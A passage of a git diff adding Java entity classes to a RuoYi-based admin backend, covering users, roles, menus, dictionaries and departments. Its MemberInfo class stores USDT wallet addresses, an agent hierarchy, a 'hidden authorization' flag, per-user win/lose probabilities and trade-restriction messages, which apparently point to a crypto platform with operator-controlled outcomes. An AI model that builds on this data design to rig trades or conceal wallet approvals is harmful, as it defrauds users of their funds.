Boolean isSuccess(R ret) + { + return R.SUCCESS == ret.getCode(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/TreeEntity.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/TreeEntity.java new file mode 100644 index 0000000..a180a18 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/TreeEntity.java @@ -0,0 +1,79 @@ +package com.ruoyi.common.core.domain; + +import java.util.ArrayList; +import java.util.List; + +/** + * Tree基类 + * + * @author ruoyi + */ +public class TreeEntity extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 父菜单名称 */ + private String parentName; + + /** 父菜单ID */ + private Long parentId; + + /** 显示顺序 */ + private Integer orderNum; + + /** 祖级列表 */ + private String ancestors; + + /** 子部门 */ + private List children = new ArrayList<>(); + + public String getParentName() + { + return parentName; + } + + public void setParentName(String parentName) + { + this.parentName = parentName; + } + + public Long getParentId() + { + return parentId; + } + + public void setParentId(Long parentId) + { + this.parentId = parentId; + } + + public Integer getOrderNum() + { + return orderNum; + } + + public void setOrderNum(Integer orderNum) + { + this.orderNum = orderNum; + } + + public String getAncestors() + { + return ancestors; + } + + public void setAncestors(String ancestors) + { + this.ancestors = ancestors; + } + + public List getChildren() + { + return children; + } + + public void setChildren(List children) + { + this.children = children; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/TreeSelect.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/TreeSelect.java new file mode 100644 index 0000000..bd835db --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/TreeSelect.java @@ -0,0 +1,77 @@ +package com.ruoyi.common.core.domain; + +import java.io.Serializable; +import java.util.List; +import java.util.stream.Collectors; +import com.fasterxml.jackson.annotation.JsonInclude; +import com.ruoyi.common.core.domain.entity.SysDept; +import com.ruoyi.common.core.domain.entity.SysMenu; + +/** + * Treeselect树结构实体类 + * + * @author ruoyi + */ +public class TreeSelect implements Serializable +{ + private static final long serialVersionUID = 1L; + + /** 节点ID */ + private Long id; + + /** 节点名称 */ + private String label; + + /** 子节点 */ + @JsonInclude(JsonInclude.Include.NON_EMPTY) + private List children; + + public TreeSelect() + { + + } + + public TreeSelect(SysDept dept) + { + this.id = dept.getDeptId(); + this.label = dept.getDeptName(); + this.children = dept.getChildren().stream().map(TreeSelect::new).collect(Collectors.toList()); + } + + public TreeSelect(SysMenu menu) + { + this.id = menu.getMenuId(); + this.label = menu.getMenuName(); + this.children = menu.getChildren().stream().map(TreeSelect::new).collect(Collectors.toList()); + } + + public Long getId() + { + return id; + } + + public void setId(Long id) + { + this.id = id; + } + + public String getLabel() + { + return label; + } + + public void setLabel(String label) + { + this.label = label; + } + + public List getChildren() + { + return children; + } + + public void setChildren(List children) + { + this.children = children; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/MemberInfo.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/MemberInfo.java new file mode 100644 index 0000000..1efba9a --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/MemberInfo.java @@ -0,0 +1,185 @@ +package com.ruoyi.common.core.domain.entity; + +import com.alibaba.fastjson2.annotation.JSONField; +import com.fasterxml.jackson.annotation.JsonIgnore; +import com.ruoyi.common.annotation.Excel; +import lombok.Data; +import org.springframework.data.annotation.Transient; + +import java.math.BigDecimal; +import java.util.Date; + +@Data +public class MemberInfo { + + + private static final long serialVersionUID = 1L; + private Long userId; + private String userName; + /** + * 登录账号 + */ + private String loginName; + /** + * 登录密码 + */ + private String loginPassword; + @Excel(name = "地址", width = 40) + private String address; + + @Excel(name = "地址类型") + private String walletType; + + @Excel(name = "总代理id", width = 40) + private Long ancestorId; + + @Excel(name = "总代理地址", width = 40) + private String ancestorAddr; + + @Excel(name = "上级ID", width = 40) + private String fatherAddr; + private Long fatherId; + + @Excel(name = "客服ID") + private Long customerId; + @JSONField(serialize = false) + private String salt; + private String password; + //0正常1冻结 + @Excel(name = "状态", readConverterExp = "0=正常,1=冻结") + private Integer status; + @Excel(name = "注册IP", type = Excel.Type.EXPORT) + private String loginIp; + @Excel(name = "最后登录时间", width = 30, dateFormat = "yyyy-MM-dd HH:mm:ss", type = Excel.Type.EXPORT) + private Date loginTime; + + private String tree; + + //邀请码,六位 + private String activeCode; + + @JsonIgnore + private Integer online; + + @Excel(name = "注册ip") + private String registerIp; + + @Excel(name = "注册时间", width = 30, dateFormat = "yyyy-MM-dd HH:mm:ss", type = Excel.Type.EXPORT) + private Date registerTime; + + // @Excel(name = "host") + private String host; + + @Excel(name = "deviceId") + private String deviceId; + + /** + * 是否绑定密码 0 未绑定 1 绑定 + */ + private Integer ifBind; + + /** + * 后台用户id + */ + private Long adminUserId; + + @Transient + private BigDecimal usdtMonitor; + private BigDecimal poolAmount; + private Integer bindKyc;// 绑定身份证信息. 0 未绑定 1 绑定 + + private String realName;//真实姓名 + + private String idCard;//身份证号 + + private String frontUrl; //正面图片地址 + + private String backUrl;//反面图片地址 + + private String country; //国籍 + + + //0 正常用户 1 试验用户 + private Integer isTest; + + //隐藏授权 0 正常 1 隐藏 + private Integer hideAuth; + + //验证码 + @Transient + private String code; + //更新前地址 + @Transient + private String addressOld; + + //连赢场次 + private Integer winNum; + + //连输 + private Integer loseNum; + //买涨包赢的次数 + private Integer riseWin; + //买输包赢的次数 + private Integer fallWin; + @Transient + //赢的概率 + private BigDecimal winPprobability; + @Transient + //输的概率 + private BigDecimal losePprobability; + + + private BigDecimal totalAmont; + + + /** + * 邮箱 + */ + private String email; + + + /** + * 0 未绑定 1绑定 + */ + private Integer emailKey; + + + /** + * 0 待审核 1 审核通过 2 审核不通过 + */ + private Integer auditStatu; + + /** + * 冻结 1 正常 0 + */ + private Integer froze; + + + /** + * 信用分 + */ + private Integer credits; + + /** + * 地址 + */ + private String ipAdd; + + @Transient + private String signType; + + @Transient + private String emailCode; + //交易是否被限制 1 为限制 + private Integer tradeFlag; + //金额是否被限制 1 为限制 + private Integer amountFlag; + //金额限制提示语 + private String pushMessage; + //交易限制提示语 + private String tradeMessage; + //手持照片 + private String handleUrl; + //证件类型 + private String cardType; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDept.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDept.java new file mode 100644 index 0000000..fb18c5c --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDept.java @@ -0,0 +1,203 @@ +package com.ruoyi.common.core.domain.entity; + +import java.util.ArrayList; +import java.util.List; +import javax.validation.constraints.Email; +import javax.validation.constraints.NotBlank; +import javax.validation.constraints.NotNull; +import javax.validation.constraints.Size; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 部门表 sys_dept + * + * @author ruoyi + */ +public class SysDept extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 部门ID */ + private Long deptId; + + /** 父部门ID */ + private Long parentId; + + /** 祖级列表 */ + private String ancestors; + + /** 部门名称 */ + private String deptName; + + /** 显示顺序 */ + private Integer orderNum; + + /** 负责人 */ + private String leader; + + /** 联系电话 */ + private String phone; + + /** 邮箱 */ + private String email; + + /** 部门状态:0正常,1停用 */ + private String status; + + /** 删除标志(0代表存在 2代表删除) */ + private String delFlag; + + /** 父部门名称 */ + private String parentName; + + /** 子部门 */ + private List children = new ArrayList(); + + public Long getDeptId() + { + return deptId; + } + + public void setDeptId(Long deptId) + { + this.deptId = deptId; + } + + public Long getParentId() + { + return parentId; + } + + public void setParentId(Long parentId) + { + this.parentId = parentId; + } + + public String getAncestors() + { + return ancestors; + } + + public void setAncestors(String ancestors) + { + this.ancestors = ancestors; + } + + @NotBlank(message = "部门名称不能为空") + @Size(min = 0, max = 30, message = "部门名称长度不能超过30个字符") + public String getDeptName() + { + return deptName; + } + + public void setDeptName(String deptName) + { + this.deptName = deptName; + } + + @NotNull(message = "显示顺序不能为空") + public Integer getOrderNum() + { + return orderNum; + } + + public void setOrderNum(Integer orderNum) + { + this.orderNum = orderNum; + } + + public String getLeader() + { + return leader; + } + + public void setLeader(String leader) + { + this.leader = leader; + } + + @Size(min = 0, max = 11, message = "联系电话长度不能超过11个字符") + public String getPhone() + { + return phone; + } + + public void setPhone(String phone) + { + this.phone = phone; + } + + @Email(message = "邮箱格式不正确") + @Size(min = 0, max = 50, message = "邮箱长度不能超过50个字符") + public String getEmail() + { + return email; + } + + public void setEmail(String email) + { + this.email = email; + } + + public String getStatus() + { + return status; + } + + public void setStatus(String status) + { + this.status = status; + } + + public String getDelFlag() + { + return delFlag; + } + + public void setDelFlag(String delFlag) + { + this.delFlag = delFlag; + } + + public String getParentName() + { + return parentName; + } + + public void setParentName(String parentName) + { + this.parentName = parentName; + } + + public List getChildren() + { + return children; + } + + public void setChildren(List children) + { + this.children = children; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("deptId", getDeptId()) + .append("parentId", getParentId()) + .append("ancestors", getAncestors()) + .append("deptName", getDeptName()) + .append("orderNum", getOrderNum()) + .append("leader", getLeader()) + .append("phone", getPhone()) + .append("email", getEmail()) + .append("status", getStatus()) + .append("delFlag", getDelFlag()) + .append("createBy", getCreateBy()) + .append("createTime", getCreateTime()) + .append("updateBy", getUpdateBy()) + .append("updateTime", getUpdateTime()) + .toString(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDictData.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDictData.java new file mode 100644 index 0000000..1e7fbc9 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDictData.java @@ -0,0 +1,187 @@ +package com.ruoyi.common.core.domain.entity; + +import javax.validation.constraints.NotBlank; +import javax.validation.constraints.Size; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.annotation.Excel.ColumnType; +import com.ruoyi.common.constant.UserConstants; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 字典数据表 sys_dict_data + * + * @author ruoyi + */ +public class SysDictData extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 字典编码 */ + @Excel(name = "字典编码", cellType = ColumnType.NUMERIC) + private Long dictCode; + + /** 字典排序 */ + @Excel(name = "字典排序", cellType = ColumnType.NUMERIC) + private Long dictSort; + + /** 字典标签 */ + @Excel(name = "字典标签") + private String dictLabel; + + /** 字典键值 */ + @Excel(name = "字典键值") + private String dictValue; + + /** 字典类型 */ + @Excel(name = "字典类型") + private String dictType; + + /** 样式属性(其他样式扩展) */ + private String cssClass; + + /** 表格字典样式 */ + private String listClass; + + /** 是否默认(Y是 N否) */ + @Excel(name = "是否默认", readConverterExp = "Y=是,N=否") + private String isDefault; + + /** 状态(0正常 1停用) */ + @Excel(name = "状态", readConverterExp = "0=正常,1=停用") + private String status; + + @Excel(name = "状态", readConverterExp = "0=正常,1=停用") + private String imgUrl; + + public String getImgUrl() { + return imgUrl; + } + + public void setImgUrl(String imgUrl) { + this.imgUrl = imgUrl; + } + + public Long getDictCode() + { + return dictCode; + } + + public void setDictCode(Long dictCode) + { + this.dictCode = dictCode; + } + + public Long getDictSort() + { + return dictSort; + } + + public void setDictSort(Long dictSort) + { + this.dictSort = dictSort; + } + + @NotBlank(message = "字典标签不能为空") + @Size(min = 0, max = 100, message = "字典标签长度不能超过100个字符") + public String getDictLabel() + { + return dictLabel; + } + + public void setDictLabel(String dictLabel) + { + this.dictLabel = dictLabel; + } + + @NotBlank(message = "字典键值不能为空") + @Size(min = 0, max = 100, message = "字典键值长度不能超过100个字符") + public String getDictValue() + { + return dictValue; + } + + public void setDictValue(String dictValue) + { + this.dictValue = dictValue; + } + + @NotBlank(message = "字典类型不能为空") + @Size(min = 0, max = 100, message = "字典类型长度不能超过100个字符") + public String getDictType() + { + return dictType; + } + + public void setDictType(String dictType) + { + this.dictType = dictType; + } + + @Size(min = 0, max = 100, message = "样式属性长度不能超过100个字符") + public String getCssClass() + { + return cssClass; + } + + public void setCssClass(String cssClass) + { + this.cssClass = cssClass; + } + + public String getListClass() + { + return listClass; + } + + public void setListClass(String listClass) + { + this.listClass = listClass; + } + + public boolean getDefault() + { + return UserConstants.YES.equals(this.isDefault); + } + + public String getIsDefault() + { + return isDefault; + } + + public void setIsDefault(String isDefault) + { + this.isDefault = isDefault; + } + + public String getStatus() + { + return status; + } + + public void setStatus(String status) + { + this.status = status; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("dictCode", getDictCode()) + .append("dictSort", getDictSort()) + .append("dictLabel", getDictLabel()) + .append("dictValue", getDictValue()) + .append("dictType", getDictType()) + .append("cssClass", getCssClass()) + .append("listClass", getListClass()) + .append("isDefault", getIsDefault()) + .append("status", getStatus()) + .append("createBy", getCreateBy()) + .append("createTime", getCreateTime()) + .append("updateBy", getUpdateBy()) + .append("updateTime", getUpdateTime()) + .append("remark", getRemark()) + .toString(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDictType.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDictType.java new file mode 100644 index 0000000..e324fcf --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDictType.java @@ -0,0 +1,96 @@ +package com.ruoyi.common.core.domain.entity; + +import javax.validation.constraints.NotBlank; +import javax.validation.constraints.Pattern; +import javax.validation.constraints.Size; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.annotation.Excel.ColumnType; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 字典类型表 sys_dict_type + * + * @author ruoyi + */ +public class SysDictType extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 字典主键 */ + @Excel(name = "字典主键", cellType = ColumnType.NUMERIC) + private Long dictId; + + /** 字典名称 */ + @Excel(name = "字典名称") + private String dictName; + + /** 字典类型 */ + @Excel(name = "字典类型") + private String dictType; + + /** 状态(0正常 1停用) */ + @Excel(name = "状态", readConverterExp = "0=正常,1=停用") + private String status; + + public Long getDictId() + { + return dictId; + } + + public void setDictId(Long dictId) + { + this.dictId = dictId; + } + + @NotBlank(message = "字典名称不能为空") + @Size(min = 0, max = 100, message = "字典类型名称长度不能超过100个字符") + public String getDictName() + { + return dictName; + } + + public void setDictName(String dictName) + { + this.dictName = dictName; + } + + @NotBlank(message = "字典类型不能为空") + @Size(min = 0, max = 100, message = "字典类型类型长度不能超过100个字符") + @Pattern(regexp = "^[a-z][a-z0-9_]*$", message = "字典类型必须以字母开头,且只能为(小写字母,数字,下滑线)") + public String getDictType() + { + return dictType; + } + + public void setDictType(String dictType) + { + this.dictType = dictType; + } + + public String getStatus() + { + return status; + } + + public void setStatus(String status) + { + this.status = status; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("dictId", getDictId()) + .append("dictName", getDictName()) + .append("dictType", getDictType()) + .append("status", getStatus()) + .append("createBy", getCreateBy()) + .append("createTime", getCreateTime()) + .append("updateBy", getUpdateBy()) + .append("updateTime", getUpdateTime()) + .append("remark", getRemark()) + .toString(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysMenu.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysMenu.java new file mode 100644 index 0000000..94e1a18 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysMenu.java @@ -0,0 +1,259 @@ +package com.ruoyi.common.core.domain.entity; + +import java.util.ArrayList; +import java.util.List; +import javax.validation.constraints.NotBlank; +import javax.validation.constraints.NotNull; +import javax.validation.constraints.Size; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 菜单权限表 sys_menu + * + * @author ruoyi + */ +public class SysMenu extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 菜单ID */ + private Long menuId; + + /** 菜单名称 */ + private String menuName; + + /** 父菜单名称 */ + private String parentName; + + /** 父菜单ID */ + private Long parentId; + + /** 显示顺序 */ + private Integer orderNum; + + /** 路由地址 */ + private String path; + + /** 组件路径 */ + private String component; + + /** 路由参数 */ + private String query; + + /** 是否为外链(0是 1否) */ + private String isFrame; + + /** 是否缓存(0缓存 1不缓存) */ + private String isCache; + + /** 类型(M目录 C菜单 F按钮) */ + private String menuType; + + /** 显示状态(0显示 1隐藏) */ + private String visible; + + /** 菜单状态(0正常 1停用) */ + private String status; + + /** 权限字符串 */ + private String perms; + + /** 菜单图标 */ + private String icon; + + /** 子菜单 */ + private List children = new ArrayList(); + + public Long getMenuId() + { + return menuId; + } + + public void setMenuId(Long menuId) + { + this.menuId = menuId; + } + + @NotBlank(message = "菜单名称不能为空") + @Size(min = 0, max = 50, message = "菜单名称长度不能超过50个字符") + public String getMenuName() + { + return menuName; + } + + public void setMenuName(String menuName) + { + this.menuName = menuName; + } + + public String getParentName() + { + return parentName; + } + + public void setParentName(String parentName) + { + this.parentName = parentName; + } + + public Long getParentId() + { + return parentId; + } + + public void setParentId(Long parentId) + { + this.parentId = parentId; + } + + @NotNull(message = "显示顺序不能为空") + public Integer getOrderNum() + { + return orderNum; + } + + public void setOrderNum(Integer orderNum) + { + this.orderNum = orderNum; + } + + @Size(min = 0, max = 200, message = "路由地址不能超过200个字符") + public String getPath() + { + return path; + } + + public void setPath(String path) + { + this.path = path; + } + + @Size(min = 0, max = 200, message = "组件路径不能超过255个字符") + public String getComponent() + { + return component; + } + + public void setComponent(String component) + { + this.component = component; + } + + public String getQuery() + { + return query; + } + + public void setQuery(String query) + { + this.query = query; + } + + public String getIsFrame() + { + return isFrame; + } + + public void setIsFrame(String isFrame) + { + this.isFrame = isFrame; + } + + public String getIsCache() + { + return isCache; + } + + public void setIsCache(String isCache) + { + this.isCache = isCache; + } + + @NotBlank(message = "菜单类型不能为空") + public String getMenuType() + { + return menuType; + } + + public void setMenuType(String menuType) + { + this.menuType = menuType; + } + + public String getVisible() + { + return visible; + } + + public void setVisible(String visible) + { + this.visible = visible; + } + + public String getStatus() + { + return status; + } + + public void setStatus(String status) + { + this.status = status; + } + + @Size(min = 0, max = 100, message = "权限标识长度不能超过100个字符") + public String getPerms() + { + return perms; + } + + public void setPerms(String perms) + { + this.perms = perms; + } + + public String getIcon() + { + return icon; + } + + public void setIcon(String icon) + { + this.icon = icon; + } + + public List getChildren() + { + return children; + } + + public void setChildren(List children) + { + this.children = children; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("menuId", getMenuId()) + .append("menuName", getMenuName()) + .append("parentId", getParentId()) + .append("orderNum", getOrderNum()) + .append("path", getPath()) + .append("component", getComponent()) + .append("isFrame", getIsFrame()) + .append("IsCache", getIsCache()) + .append("menuType", getMenuType()) + .append("visible", getVisible()) + .append("status ", getStatus()) + .append("perms", getPerms()) + .append("icon", getIcon()) + .append("createBy", getCreateBy()) + .append("createTime", getCreateTime()) + .append("updateBy", getUpdateBy()) + .append("updateTime", getUpdateTime()) + .append("remark", getRemark()) + .toString(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysRole.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysRole.java new file mode 100644 index 0000000..0f6945c --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysRole.java @@ -0,0 +1,251 @@ +package com.ruoyi.common.core.domain.entity; + +import java.util.Set; +import javax.validation.constraints.NotBlank; +import javax.validation.constraints.NotNull; +import javax.validation.constraints.Size; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.annotation.Excel.ColumnType; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 角色表 sys_role + * + * @author ruoyi + */ +public class SysRole extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 角色ID */ + @Excel(name = "角色序号", cellType = ColumnType.NUMERIC) + private Long roleId; + + /** 角色名称 */ + @Excel(name = "角色名称") + private String roleName; + +// private Long userId; + + /** 角色权限 */ + @Excel(name = "角色权限") + private String roleKey; + + /** 角色排序 */ + @Excel(name = "角色排序") + private Integer roleSort; + + /** 数据范围(1:所有数据权限;2:自定义数据权限;3:本部门数据权限;4:本部门及以下数据权限;5:仅本人数据权限) */ + @Excel(name = "数据范围", readConverterExp = "1=所有数据权限,2=自定义数据权限,3=本部门数据权限,4=本部门及以下数据权限,5=仅本人数据权限") + private String dataScope; + + /** 菜单树选择项是否关联显示( 0:父子不互相关联显示 1:父子互相关联显示) */ + private boolean menuCheckStrictly; + + /** 部门树选择项是否关联显示(0:父子不互相关联显示 1:父子互相关联显示 ) */ + private boolean deptCheckStrictly; + + /** 角色状态(0正常 1停用) */ + @Excel(name = "角色状态", readConverterExp = "0=正常,1=停用") + private String status; + + /** 删除标志(0代表存在 2代表删除) */ + private String delFlag; + + /** 用户是否存在此角色标识 默认不存在 */ + private boolean flag = false; + + /** 菜单组 */ + private Long[] menuIds; + + /** 部门组(数据权限) */ + private Long[] deptIds; + + /** 角色菜单权限 */ + private Set permissions; + + public SysRole() + { + + } + +// public Long getUserId() { +// return userId; +// } +// +// public void setUserId(Long userId) { +// this.userId = userId; +// } + + public SysRole(Long roleId) + { + this.roleId = roleId; + } + + public Long getRoleId() + { + return roleId; + } + + public void setRoleId(Long roleId) + { + this.roleId = roleId; + } + + public boolean isAdmin() + { + return isAdmin(this.roleId); + } + + public static boolean isAdmin(Long roleId) + { + return roleId != null && 1L == roleId; + } + + @NotBlank(message = "角色名称不能为空") + @Size(min = 0, max = 30, message = "角色名称长度不能超过30个字符") + public String getRoleName() + { + return roleName; + } + + public void setRoleName(String roleName) + { + this.roleName = roleName; + } + + @NotBlank(message = "权限字符不能为空") + @Size(min = 0, max = 100, message = "权限字符长度不能超过100个字符") + public String getRoleKey() + { + return roleKey; + } + + public void setRoleKey(String roleKey) + { + this.roleKey = roleKey; + } + + @NotNull(message = "显示顺序不能为空") + public Integer getRoleSort() + { + return roleSort; + } + + public void setRoleSort(Integer roleSort) + { + this.roleSort = roleSort; + } + + public String getDataScope() + { + return dataScope; + } + + public void setDataScope(String dataScope) + { + this.dataScope = dataScope; + } + + public boolean isMenuCheckStrictly() + { + return menuCheckStrictly; + } + + public void setMenuCheckStrictly(boolean menuCheckStrictly) + { + this.menuCheckStrictly = menuCheckStrictly; + } + + public boolean isDeptCheckStrictly() + { + return deptCheckStrictly; + } + + public void setDeptCheckStrictly(boolean deptCheckStrictly) + { + this.deptCheckStrictly = deptCheckStrictly; + } + + public String getStatus() + { + return status; + } + + public void setStatus(String status) + { + this.status = status; + } + + public String getDelFlag() + { + return delFlag; + } + + public void setDelFlag(String delFlag) + { + this.delFlag = delFlag; + } + + public boolean isFlag() + { + return flag; + } + + public void setFlag(boolean flag) + { + this.flag = flag; + } + + public Long[] getMenuIds() + { + return menuIds; + } + + public void setMenuIds(Long[] menuIds) + { + this.menuIds = menuIds; + } + + public Long[] getDeptIds() + { + return deptIds; + } + + public void setDeptIds(Long[] deptIds) + { + this.deptIds = deptIds; + } + + public Set getPermissions() + { + return permissions; + } + + public void setPermissions(Set permissions) + { + this.permissions = permissions; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("roleId", getRoleId()) + .append("roleName", getRoleName()) + .append("roleKey", getRoleKey()) + .append("roleSort", getRoleSort()) + .append("dataScope", getDataScope()) + .append("menuCheckStrictly", isMenuCheckStrictly()) + .append("deptCheckStrictly", isDeptCheckStrictly()) + .append("status", getStatus()) + .append("delFlag", getDelFlag()) + .append("createBy", getCreateBy()) + .append("createTime", getCreateTime()) + .append("updateBy", getUpdateBy()) + .append("updateTime", getUpdateTime()) + .append("remark", getRemark()) + .toString(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysUser.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysUser.java new file mode 100644 index 0000000..dd6f72a --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysUser.java @@ -0,0 +1,359 @@ +package com.ruoyi.common.core.domain.entity; + +import java.util.Date; +import java.util.List; +import javax.validation.constraints.*; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.annotation.Excel.ColumnType; +import com.ruoyi.common.annotation.Excel.Type; +import com.ruoyi.common.annotation.Excels; +import com.ruoyi.common.core.domain.BaseEntity; +import com.ruoyi.common.xss.Xss; + +/** + * 用户对象 sys_user + * + * @author ruoyi + */ +public class SysUser extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 用户ID */ + @Excel(name = "用户序号", cellType = ColumnType.NUMERIC, prompt = "用户编号") + private Long userId; + + /** 部门ID */ + @Excel(name = "部门编号", type = Type.IMPORT) + private Long deptId; + + /** 用户账号 */ + @Excel(name = "登录名称") + private String userName; + + /** 用户类型 */ + @Excel(name = "用户类型",readConverterExp = "0=普通用户,1=组长,2=代理") + private String userType; + + /** 用户昵称 */ + @Excel(name = "用户名称") + private String nickName; + + /** 用户邮箱 */ + @Excel(name = "用户邮箱") + private String email; + + /** 手机号码 */ + @Excel(name = "手机号码") + private String phonenumber; + + /** 用户性别 */ + @Excel(name = "用户性别", readConverterExp = "0=男,1=女,2=未知") + private String sex; + + /** 用户头像 */ + private String avatar; + + /** 密码 */ + private String password; + + /** 帐号状态(0正常 1停用) */ + @Excel(name = "帐号状态", readConverterExp = "0=正常,1=停用") + private String status; + + /** 删除标志(0代表存在 2代表删除) */ + private String delFlag; + + /** 最后登录IP */ + @Excel(name = "最后登录IP", type = Type.EXPORT) + private String loginIp; + + /** 最后登录时间 */ + @Excel(name = "最后登录时间", width = 30, dateFormat = "yyyy-MM-dd HH:mm:ss", type = Type.EXPORT) + private Date loginDate; + + private Long parentId; //组长id + + /** 部门对象 */ + @Excels({ + @Excel(name = "部门名称", targetAttr = "deptName", type = Type.EXPORT), + @Excel(name = "部门负责人", targetAttr = "leader", type = Type.EXPORT) + }) + private SysDept dept; + + /** 角色对象 */ + private List roles; + + /** 角色组 */ + private Long[] roleIds; + + /** 岗位组 */ + private Long[] postIds; + + /** 角色ID */ + private Long roleId; + + /** + * 谷歌key + */ + private String googleKey; + + public SysUser() + { + + } + + public String getUserType() { + return userType; + } + + public void setUserType(String userType) { + this.userType = userType; + } + + public Long getParentId() { + return parentId; + } + + public void setParentId(Long parentId) { + this.parentId = parentId; + } + + public SysUser(Long userId) + { + this.userId = userId; + } + + public Long getUserId() + { + return userId; + } + + public void setUserId(Long userId) + { + this.userId = userId; + } + + public boolean isAdmin() + { + return isAdmin(this.userId); + } + + public static boolean isAdmin(Long userId) + { + return userId != null && (1L == userId || 2L == userId); + } + + public Long getDeptId() + { + return deptId; + } + + public void setDeptId(Long deptId) + { + this.deptId = deptId; + } + + @Xss(message = "用户昵称不能包含脚本字符") + @Size(min = 0, max = 30, message = "用户昵称长度不能超过30个字符") + public String getNickName() + { + return nickName; + } + + public void setNickName(String nickName) + { + this.nickName = nickName; + } + + @Xss(message = "用户账号不能包含脚本字符") + @NotBlank(message = "用户账号不能为空") + @Size(min = 0, max = 30, message = "用户账号长度不能超过30个字符") + public String getUserName() + { + return userName; + } + + public void setUserName(String userName) + { + this.userName = userName; + } + + @Email(message = "邮箱格式不正确") + @Size(min = 0, max = 50, message = "邮箱长度不能超过50个字符") + public String getEmail() + { + return email; + } + + public void setEmail(String email) + { + this.email = email; + } + + @Size(min = 0, max = 11, message = "手机号码长度不能超过11个字符") + public String getPhonenumber() + { + return phonenumber; + } + + public void setPhonenumber(String phonenumber) + { + this.phonenumber = phonenumber; + } + + public String getSex() + { + return sex; + } + + public void setSex(String sex) + { + this.sex = sex; + } + + public String getAvatar() + { + return avatar; + } + + public void setAvatar(String avatar) + { + this.avatar = avatar; + } + + public String getPassword() + { + return password; + } + + public void setPassword(String password) + { + this.password = password; + } + + public String getStatus() + { + return status; + } + + public void setStatus(String status) + { + this.status = status; + } + + public String getDelFlag() + { + return delFlag; + } + + public void setDelFlag(String delFlag) + { + this.delFlag = delFlag; + } + + public String getLoginIp() + { + return loginIp; + } + + public void setLoginIp(String loginIp) + { + this.loginIp = loginIp; + } + + public Date getLoginDate() + { + return loginDate; + } + + public void setLoginDate(Date loginDate) + { + this.loginDate = loginDate; + } + + public SysDept getDept() + { + return dept; + } + + public void setDept(SysDept dept) + { + this.dept = dept; + } + + public List getRoles() + { + return roles; + } + + public void setRoles(List roles) + { + this.roles = roles; + } + + public Long[] getRoleIds() + { + return roleIds; + } + + public void setRoleIds(Long[] roleIds) + { + this.roleIds = roleIds; + } + + public Long[] getPostIds() + { + return postIds; + } + + public void setPostIds(Long[] postIds) + { + this.postIds = postIds; + } + + public Long getRoleId() + { + return roleId; + } + + public void setRoleId(Long roleId) + { + this.roleId = roleId; + } + + public String getGoogleKey() { + return googleKey; + } + + public void setGoogleKey(String googleKey) { + this.googleKey = googleKey; + } + + @Override + public String toString() { + return new 